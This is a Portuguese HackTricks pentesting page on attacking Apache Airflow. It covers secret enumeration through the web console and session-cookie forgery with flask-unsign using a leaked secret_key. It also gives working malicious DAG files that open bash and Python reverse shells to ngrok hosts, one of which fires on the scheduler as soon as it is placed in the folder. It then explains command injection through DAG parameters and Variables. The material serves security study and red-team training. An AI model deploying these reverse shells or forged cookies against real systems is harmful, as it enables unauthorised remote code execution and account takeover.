Apache Airflow Security

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

Apache Airflow atua como uma plataforma para orquestar e agendar pipelines ou fluxos de dados. O termo "orquestração" no contexto de pipelines de dados significa o processo de organizar, coordenar e gerenciar fluxos de trabalho de dados complexos originados de várias fontes. O objetivo principal desses pipelines de dados orquestrados é fornecer conjuntos de dados processados e consumíveis. Esses conjuntos de dados são amplamente utilizados por uma infinidade de aplicativos, incluindo, mas não se limitando a ferramentas de inteligência de negócios, ciência de dados e modelos de aprendizado de máquina, todos os quais são fundamentais para o funcionamento de aplicativos de big data.

Basicamente, o Apache Airflow permitirá que você agende a execução de código quando algo (evento, cron) acontece.

Laboratório Local

Docker-Compose

Você pode usar o arquivo de configuração docker-compose de https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml para iniciar um ambiente completo do Apache Airflow com Docker. (Se estiver no MacOS, certifique-se de fornecer pelo menos 6GB de RAM para a máquina virtual do Docker).

Minikube

Uma maneira fácil de executar o Apache Airflow é executá-lo com o minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Configuração do Airflow

O Airflow pode armazenar informações sensíveis em sua configuração ou você pode encontrar configurações fracas em vigor:

pageAirflow Configuration

RBAC do Airflow

Antes de começar a atacar o Airflow, você deve entender como funcionam as permissões:

pageAirflow RBAC

Ataques

Enumeração do Console Web

Se você tem acesso ao console web, pode ser capaz de acessar algumas ou todas as seguintes informações:

  • Variáveis (Informações sensíveis personalizadas podem ser armazenadas aqui)

  • Conexões (Informações sensíveis personalizadas podem ser armazenadas aqui)

  • Acesse em http://<airflow>/connection/list/

  • Configuração (Informações sensíveis como a secret_key e senhas podem ser armazenadas aqui)

  • Listar usuários e funções

  • Código de cada DAG (que pode conter informações interessantes)

Recuperar Valores de Variáveis

Variáveis podem ser armazenadas no Airflow para que os DAGs possam acessar seus valores. É semelhante a segredos de outras plataformas. Se você tiver permissões suficientes, pode acessá-los na GUI em http://<airflow>/variable/list/. Por padrão, o Airflow mostrará o valor da variável na GUI, no entanto, de acordo com este é possível definir uma lista de variáveis cujo valor aparecerá como asteriscos na GUI.

No entanto, esses valores ainda podem ser recuperados via CLI (é necessário ter acesso ao BD), execução de DAG arbitrário, API acessando o endpoint de variáveis (a API precisa estar ativada) e até mesmo a própria GUI! Para acessar esses valores na GUI, basta selecionar as variáveis que deseja acessar e clicar em Ações -> Exportar. Outra maneira é realizar uma força bruta para o valor oculto usando o filtro de pesquisa até encontrá-lo:

Escalação de Privilégios

Se a configuração expose_config estiver definida como True, a partir da função de Usuário e acima pode ler a configuração na web. Nesta configuração, a secret_key aparece, o que significa que qualquer usuário com isso válido pode criar seu próprio cookie assinado para se passar por qualquer outra conta de usuário.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

Backdoor do DAG (RCE no worker do Airflow)

Se você tem acesso de escrita ao local onde os DAGs são salvos, você pode simplesmente criar um que irá enviar a você um shell reverso. Observe que este shell reverso será executado dentro de um container do worker do airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

Backdoor do DAG (RCE no agendador do Airflow)

Se você definir algo para ser executado na raiz do código, no momento desta escrita, ele será executado pelo agendador alguns segundos após ser colocado dentro da pasta do DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Criação de DAG

Se você conseguir comprometer uma máquina dentro do cluster DAG, você pode criar novos scripts DAGs na pasta dags/ e eles serão replicados no restante das máquinas dentro do cluster DAG.

Injeção de Código DAG

Quando você executa um DAG pela GUI, você pode passar argumentos para ele. Portanto, se o DAG não estiver codificado corretamente, ele poderá ser vulnerável à Injeção de Comandos. Foi o que aconteceu neste CVE: https://www.exploit-db.com/exploits/49927

Tudo o que você precisa saber para começar a procurar por injeções de comandos em DAGs é que os parâmetros são acessados com o código dag_run.conf.get("nome_parametro").

Além disso, a mesma vulnerabilidade pode ocorrer com variáveis (observe que, com privilégios suficientes, você poderia controlar o valor das variáveis na GUI). As variáveis são acessadas com:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Se forem usados, por exemplo, dentro de um comando bash, você poderia realizar uma injeção de comando.

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización